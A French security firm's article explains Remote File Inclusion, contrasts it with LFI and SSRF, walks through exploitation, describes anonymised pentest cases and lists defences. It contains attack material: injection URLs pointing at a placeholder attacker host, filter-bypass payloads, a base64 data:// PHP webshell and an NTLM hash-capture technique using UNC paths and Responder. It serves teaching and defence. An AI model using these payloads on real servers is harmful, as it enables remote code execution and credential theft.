Vulnérabilité applicative - Injection - RCE - OWASP A03
La Remote File Inclusion est l'une des vulnérabilités applicatives les plus critiques : elle permet d'exécuter du code arbitraire sur un serveur en lui faisant charger un fichier distant contrôlé par l'attaquant.
Comment fonctionne-t-elle, comment nos pentesters l'identifient et l'exploitent en mission, et surtout comment s'en protéger durablement.
Qu'est-ce que la Remote File Inclusion (RFI) ?
La Remote File Inclusion, abrégée RFI, est une vulnérabilité de sécurité affectant les applications web qui construisent dynamiquement des chemins de fichiers à partir de paramètres contrôlables par l'utilisateur, sans valider ni filtrer ces paramètres correctement. Quand ce mécanisme d'inclusion est mal sécurisé, un attaquant peut substituer au chemin attendu une URL pointant vers un fichier hébergé sur un serveur qu'il contrôle. Le serveur cible charge alors ce fichier distant et l'exécute dans son contexte, comme s'il faisait partie de l'application.
Le résultat est une Remote Code Execution (RCE) : l'attaquant exécute du code arbitraire sur le serveur cible avec les droits du processus web. C'est l'une des classes de vulnérabilités les plus critiques de l'OWASP Top 10, catégorisée en A03 : Injection.
La RFI est historiquement associée à PHP, qui dispose d'une directive allow_url_include permettant nativement l'inclusion de fichiers distants. Mais d'autres langages et frameworks peuvent présenter des comportements similaires selon leur configuration et leur gestion des entrées utilisateur.

allow_url_include
Conditions nécessaires à l'exploitation d'une RFI
Trois conditions doivent être réunies simultanément pour qu'une RFI soit exploitable :
- L'application inclut dynamiquement des fichiers via un paramètre utilisateur : par exemple
include($_GET['page'] . '.php')en PHP. - L'inclusion de fichiers distants est autorisée : en PHP,
allow_url_fopenetallow_url_includedoivent être activés dans la configuration. Dans les versions récentes de PHP (5.2+),allow_url_includeest désactivé par défaut, ce qui a significativement réduit la prévalence des RFI classiques. Cependant, des configurations héritées ou des CMS anciens la réactivent encore. - La valeur du paramètre n'est pas suffisamment validée : absence de liste blanche, de contrôle de schéma d'URL ou de filtre sur les caractères spéciaux.
Quand ces trois conditions sont réunies, l'exploitation est directe et l'impact maximal. C'est ce profil de vulnérabilité que nos pentesters recherchent systématiquement lors des missions de pentest applicatif.
RFI, LFI et SSRF : comprendre les différences
Ces trois classes de vulnérabilités sont liées par un mécanisme commun : l'application effectue une requête vers une ressource dont le chemin ou l'URL est influencé par l'utilisateur. Mais leurs impacts et leurs vecteurs diffèrent significativement.
| Vulnérabilité | Mécanisme | Ressource ciblée | Impact principal | Criticité |
|---|---|---|---|---|
| RFI | Inclusion et exécution d'un fichier distant | URL externe contrôlée par l'attaquant | RCE (Remote Code Execution) | Critique (CVSS 9+) |
| LFI | Inclusion d'un fichier local au serveur | Fichiers présents sur le serveur cible | Lecture de fichiers sensibles, RCE si combinée avec log poisoning | Haute (CVSS 7-9) |
| SSRF | Le serveur effectue une requête HTTP vers une URL choisie par l'attaquant | Services internes, metadata cloud, endpoints non exposés | Pivot interne, vol de credentials cloud, accès à des services isolés | Haute à Critique |
RFI vs LFI en pratique
La Local File Inclusion (LFI) inclut des fichiers déjà présents sur le serveur. L'attaquant ne peut pas déposer son propre code directement. Pour atteindre une exécution de code depuis une LFI, il faut une technique supplémentaire : log poisoning (injection de code dans les logs Apache/Nginx puis inclusion du fichier log), upload d'un fichier malveillant via une autre fonctionnalité, ou inclusion de fichiers de session PHP écrits par l'attaquant.
La RFI est plus directe : l'attaquant héberge son propre fichier PHP sur un serveur qu'il contrôle et le fait inclure directement. Pas d'étape intermédiaire nécessaire. C'est pourquoi la RFI est classée plus sévèrement et conduit quasi systématiquement à une RCE complète.
Les deux sont systématiquement testées lors d'un audit de sécurité applicatif sur tout paramètre qui influence la résolution d'un chemin de fichier.
RFI vs SSRF
La SSRF (Server-Side Request Forgery) force le serveur à effectuer une requête HTTP vers une URL contrôlée par l'attaquant, mais sans nécessairement exécuter le contenu retourné. L'objectif est souvent d'atteindre des services internes inaccessibles depuis l'extérieur : service de metadata cloud (AWS IMDSv1), bases de données internes, services d'administration. En environnement cloud, une SSRF peut conduire à l'exfiltration de credentials IAM et compromettre l'ensemble de l'infrastructure cloud. La RFI va plus loin : elle exécute le contenu du fichier distant, ce qui en fait une vulnérabilité encore plus grave quand les conditions sont réunies.
Vos applications web ont-elles été testées pour les vulnérabilités d'inclusion de fichiers ?
Les failles RFI et LFI sont systématiquement recherchées par nos pentesters sur tout paramètre influençant la résolution d'un chemin. Découvrez comment nos audits applicatifs couvrent ces vecteurs.
Mécanisme d'exploitation d'une RFI : étape par étape
Étape 1 : Identification du point d'injection
La première phase est la reconnaissance des paramètres susceptibles d'influencer l'inclusion de fichiers. Les indicateurs typiques identifiés lors d'un pentest web :
- Paramètres GET dont la valeur ressemble à un nom de fichier ou de page :
?page=home,?template=default,?lang=fr,?module=contact,?view=sidebar. - Paramètres POST dans des formulaires de sélection de mise en page ou de langue.
- Paramètres dans des cookies ou des headers HTTP utilisés pour personnaliser le rendu.
L'utilisation de Burp Suite permet d'intercepter toutes les requêtes et d'identifier l'ensemble de ces paramètres, y compris les paramètres non visibles dans l'interface utilisateur.
Étape 2 : Test de la vulnérabilité
Le pentester injecte une URL distante contrôlée dans le paramètre suspecté. Pour confirmer l'exécution distante sans déclencher d'action destructive, deux techniques courantes :
Test avec un serveur HTTP basique :
python3 -m http.server 8080
Puis injection dans le paramètre cible :
https://cible.com/index.php?page=http://ip-pentester:8080/test
Si le serveur du pentester reçoit une requête HTTP, la RFI est confirmée : le serveur cible a effectué une requête sortante vers l'URL injectée.
Test avec Burp Collaborator : génération d'un endpoint Collaborator unique, injection dans le paramètre, vérification des interactions DNS et HTTP reçues. Cette approche est particulièrement utile quand les réponses de l'application ne reflètent pas directement l'inclusion (blind RFI).
Étape 3 : Préparation du fichier malveillant
Le payload classique est un webshell PHP minimal hébergé sur le serveur du pentester :
Ce fichier est hébergé sur un serveur contrôlé par le pentester et accessible depuis l'IP du serveur cible. L'URL de ce fichier est injectée dans le paramètre vulnérable :
https://cible.com/index.php?page=http://ip-pentester/shell&cmd=id
Si la RFI est exploitable, la commande id s'exécute sur le serveur cible et retourne l'identité du processus web : uid=33(www-data) gid=33(www-data).
Étape 4 : Contournement des filtrages courants
Les applications implémentent souvent des filtres partiels sur le paramètre. Voici les techniques de bypass les plus fréquemment identifiées en pentest :
Bypass de l'ajout d'extension automatique
Si l'application ajoute .php au paramètre (include($_GET['page'] . '.php')), l'attaquant peut neutraliser cette extension avec un null byte (PHP < 5.3.4) ou en hébergeant un fichier sans extension :
?page=http://ip-pentester/shell%00 (null byte, PHP ancien)
Ou en utilisant un fichier dont le serveur distant gère nativement l'extension :
?page=http://ip-pentester/shell.php? (le point d'interrogation neutralise l'extension ajoutée en la transformant en paramètre de l'URL distante)
Bypass de filtres sur "http://"
Quand l'application filtre http:// ou https:// :
- Double encodage :
hhttp://si le filtre est appliqué une seule fois - Protocole alternatif :
ftp://,php://input,data:// - Variation de casse :
HTTP://,Http://
Bypass via le protocole data://
Si allow_url_include est actif mais que les connexions sortantes sont bloquées, le wrapper PHP data:// permet d'injecter du code directement dans l'URL sans requête distante :
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+
Le payload base64 est encodé.
Étape 5 : Exploitation RFI pour récupérer un hash NTLM (serveurs Windows)
Sur un serveur Windows, une variante particulièrement intéressante consiste à utiliser un chemin UNC (Universal Naming Convention) plutôt qu'une URL HTTP. Quand le serveur Windows tente d'accéder au partage SMB distant, il initie une authentification NTLM et envoie le hash NTLMv2 du compte sous lequel tourne l'application :
?page=\ip-pentestersharetest
Le pentester intercepte ce hash avec Responder :
sudo responder -I eth0
Le hash NTLMv2 capturé peut ensuite être craqué hors ligne avec Hashcat ou utilisé dans une attaque de type Pass-the-Hash selon la configuration du réseau. Cette technique est particulièrement redoutable car elle ne nécessite pas que allow_url_include soit activé.
RFI en mission : ce que nos pentesters trouvent chez leurs clients
La RFI est souvent présentée comme une vulnérabilité historique, réglée depuis que PHP 5.2 a désactivé allow_url_include par défaut. La réalité terrain de nos missions raconte une histoire différente.
Cas 1 : CMS legacy sur infrastructure de production
Lors d'un pentest boite noire sur une ETI du secteur industriel, PIIRATES identifie un CMS développé en interne au début des années 2010 toujours en production. L'analyse du paramètre ?page= révèle une inclusion dynamique sans validation. Le serveur PHP tourne en version 5.3 avec allow_url_include = On configuré dans un php.ini personnalisé hérité de la mise en production initiale. L'exploitation est directe : injection d'un webshell, exécution de commandes sous www-data, pivot vers le réseau interne.
Résultat : compromission complète du serveur web et accès au réseau de production via les interfaces réseau du serveur. La vulnérabilité était présente depuis plus de dix ans. Aucun scan automatique ne l'avait détectée lors des audits précédents, car elle nécessitait une analyse manuelle du comportement de l'application.
Cas 2 : RFI via le paramètre de langue d'un portail e-commerce
Sur un audit applicatif grey box d'une plateforme e-commerce PHP, le paramètre de sélection de langue (?lang=fr) est identifié comme vecteur potentiel. Le code source, accessible en boite grise, révèle :
include('lang/' . $_GET['lang'] . '.php');
L'application ajoute lang/ en préfixe et .php en suffixe. Le test d'injection directe échoue, mais le bypass via le caractère ? en fin d'URL fonctionne : ?lang=http://ip-pentester/shell.php?. L'extension .php est ainsi transformée en paramètre de l'URL distante et ignorée par le serveur distant. RCE obtenue sous l'utilisateur apache.
Ce cas illustre qu'un filtrage partiel (ajout de préfixe et suffixe) ne constitue pas une protection suffisante contre la RFI. Seule une liste blanche stricte des valeurs acceptables est fiable.
Cas 3 : Blind RFI et exfiltration de hash NTLM
Sur un pentest boite blanche sur un portail intranet Windows Server 2019, l'analyse du code source révèle un paramètre de template chargé via une inclusion PHP. allow_url_include est désactivé, rendant une RFI HTTP classique impossible. Cependant, le protocole UNC Windows reste actif. L'injection d'un chemin \ip-pentestershare dans le paramètre déclenche une authentification SMB depuis le serveur vers la machine du pentester. Responder capture le hash NTLMv2 du compte de service IIS. Ce hash est craqué en 4 heures avec Hashcat sur GPU, révélant un mot de passe en clair. Le compte de service disposait de droits d'accès à plusieurs partages réseau sensibles.
Ces trois cas ont un point commun : aucune n'a été détectée par les scans automatiques réalisés préalablement. Les RFI nécessitent une compréhension de la logique applicative, un test manuel des paramètres et parfois la lecture du code source pour confirmer l'exploitation. C'est ce que les outils DAST automatisés ne font pas.
Impacts d'une Remote File Inclusion exploitée
Une RFI exploitée avec succès conduit à une Remote Code Execution complète. Les impacts qui en découlent couvrent les trois dimensions de la sécurité : confidentialité, intégrité et disponibilité.
Compromission immédiate du serveur
L'exécution de code arbitraire sous les droits du processus web donne à l'attaquant un contrôle opérationnel sur le serveur. Depuis un webshell RFI, il peut lire l'ensemble du système de fichiers accessible, exécuter des commandes système, télécharger des outils supplémentaires, créer des backdoors persistantes et pivoter vers d'autres systèmes du réseau interne.
Escalade de privilèges
Depuis le compte www-data ou apache initialement obtenu via la RFI, l'attaquant peut tenter une escalade de privilèges locale en exploitant des vulnérabilités kernel, des SUID mal configurés ou des credentials présents dans des fichiers de configuration accessibles. Cette escalade est systématiquement tentée lors des missions PIIRATES pour démontrer l'impact réel maximal de chaque vecteur initial.
Accès aux bases de données
Les fichiers de configuration de l'application (config.php, .env, database.yml) contiennent généralement les credentials de connexion à la base de données. Une RFI permet de lire ces fichiers et d'accéder directement aux données applicatives : données utilisateurs, données de paiement, données métier sensibles.
Déploiement de backdoors persistantes
Un attaquant qui obtient une RCE via RFI peut déposer des backdoors supplémentaires (webshells multiples, tâches cron, modifications de fichiers PHP légitimes) pour maintenir un accès persistant même si la vulnérabilité initiale est corrigée. Cette persistance est particulièrement difficile à éradiquer si elle n'est pas détectée rapidement.
Mouvement latéral et compromission d'infrastructure
Depuis le serveur web compromis, l'attaquant peut scanner le réseau interne, exploiter d'autres vulnérabilités sur des systèmes non exposés à Internet, ou se déplacer vers des serveurs de base de données, des systèmes de fichiers partagés ou un Active Directory. C'est le scénario que nous testons dans les missions de pentest infrastructure.
Vecteur de diffusion vers les visiteurs
Un attaquant qui contrôle le serveur peut injecter du code malveillant dans les pages HTML servies aux utilisateurs : script de phishing, malware drive-by-download, redirect vers des pages frauduleuses. La compromission du serveur devient alors une compromission de tous ses utilisateurs.
RFI fait partie de l'OWASP A03 : Injection
La Remote File Inclusion est une sous-catégorie de la classe d'injection la plus critique selon l'OWASP. Notre guide complet de l'OWASP Top 10 explique comment chaque catégorie est testée lors d'un pentest applicatif, et comment s'en protéger.
Comment se protéger contre la Remote File Inclusion
La protection contre les RFI repose sur plusieurs couches défensives complémentaires. L'objectif est d'éliminer la vulnérabilité à la source, puis de réduire la surface d'attaque au maximum si une inclusion dynamique est vraiment nécessaire.
1. Désactiver allow_url_include (mesure prioritaire)
En PHP, la première ligne de défense est la directive allow_url_include. Elle doit être à Off dans php.ini :
allow_url_include = Off
Cette directive est désactivée par défaut depuis PHP 5.2. Si elle est activée sur votre configuration, c'est probablement un héritage d'une configuration ancienne. Sa désactivation immédiate supprime la grande majorité des vecteurs RFI classiques sans aucun impact fonctionnel pour les applications correctement développées.
Vérifiez l'état de cette directive :
php -r "echo ini_get('allow_url_include');"
2. Éviter les inclusions dynamiques basées sur des paramètres utilisateur
La correction architecturale la plus robuste est de ne jamais passer des noms de fichiers ou de chemins dans des paramètres utilisateur. Si une sélection de vue est nécessaire, utiliser une approche basée sur des identifiants numériques ou des clés mappées côté serveur :
// Mauvais – directement inclus depuis le paramètre
include($_GET['page'] . '.php');
// Bon – liste blanche avec mapping explicite
$pages = ['home' => 'home.php', 'about' => 'about.php', 'contact' => 'contact.php'];
$page = $_GET['page'] ?? 'home';
if (!array_key_exists($page, $pages)) { $page = 'home'; }
include($pages[$page]);
3. Valider strictement les entrées (liste blanche, pas liste noire)
Si une inclusion dynamique ne peut pas être évitée, la validation doit être basée sur une liste blanche stricte des valeurs acceptables. Toute valeur non présente dans la liste blanche est rejetée. Les listes noires (filtrer http://, ../, etc.) sont systématiquement contournables comme le montrent les techniques de bypass décrites ci-dessus.
4. Filtrer les protocoles et schémas d'URL
Utiliser basename() ou une expression régulière pour s'assurer que le paramètre ne contient ni ://, ni \ (chemin UNC), ni séquences de traversée de répertoire (../, ..) :
$page = basename($_GET['page']);
Cette approche supprime les composants de chemin et les schémas d'URL, mais ne remplace pas une liste blanche.
5. Configurer disable_functions en PHP
Même si une RFI est exploitée, la directive disable_functions peut limiter les dommages en désactivant les fonctions PHP d'exécution de commandes :
disable_functions = system, exec, passthru, shell_exec, popen, proc_open
Cette mesure ne corrige pas la vulnérabilité mais réduit l'impact en empêchant l'exécution directe de commandes OS depuis le code PHP exécuté.
6. Restreindre les connexions réseau sortantes du serveur web
Pour une RFI HTTP classique, le serveur cible doit initier une connexion sortante vers le serveur de l'attaquant. Un firewall sortant restrictif bloquant les connexions HTTP initiées par le processus web empêche cette communication et supprime le vecteur d'exploitation, même si la configuration PHP est vulnérable.
7. WAF : une couche utile mais insuffisante seule
Un WAF correctement configuré (Cloudflare, AWS WAF, ModSecurity) peut détecter et bloquer les patterns RFI courants. Cependant, comme montré dans la section sur les bypasses, les techniques d'encodage et les protocoles alternatifs permettent fréquemment de contourner ces règles. Le WAF est une couche défensive complémentaire, pas un substitut à la correction du code source.
8. Mettre à jour et auditer régulièrement
Les RFI sur des CMS anciens ou des frameworks non maintenus représentent une part importante de nos découvertes en pentest. La mise à jour régulière du code applicatif, des frameworks et des dépendances, combinée à un audit de sécurité applicatif annuel, est la seule approche qui garantit une couverture durable.

Indépendance totale

Expertise offensive

Professionnalisme
allow_url_include soit désactivé par défaut depuis PHP 5.2, nos missions de pentest applicatif révèlent régulièrement des configurations héritées avec cette directive activée, notamment sur des CMS développés en interne avant 2012, des environnements legacy jamais migrés, et des serveurs configurés par des prestataires qui ont activé cette option pour simplifier leur déploiement. Par ailleurs, la variante UNC Windows reste exploitable indépendamment de la configuration PHP.
require() ou eval() avec des entrées utilisateur peut mener à des comportements analogues. En Python, des frameworks mal configurés ou des usages non sécurisés de importlib peuvent être exploités. L'essentiel est le principe général : toute inclusion ou chargement dynamique de ressource basé sur des entrées utilisateur non validées constitue un vecteur potentiel, quel que soit le langage.
Nos coordonnées
- 04 28 49 00 25
- contact@piirates.fr
- 6 Rue Denis Papin
07130 Saint Peray
Envoyez nous un ping
Remote File Inclusion (RFI) : comment fonctionne cette vulnérabilité critique, comment nos pentesters l’exploitent en mission, bypasses de filtres, variante NTLM Windows et mesures de protection complètes.




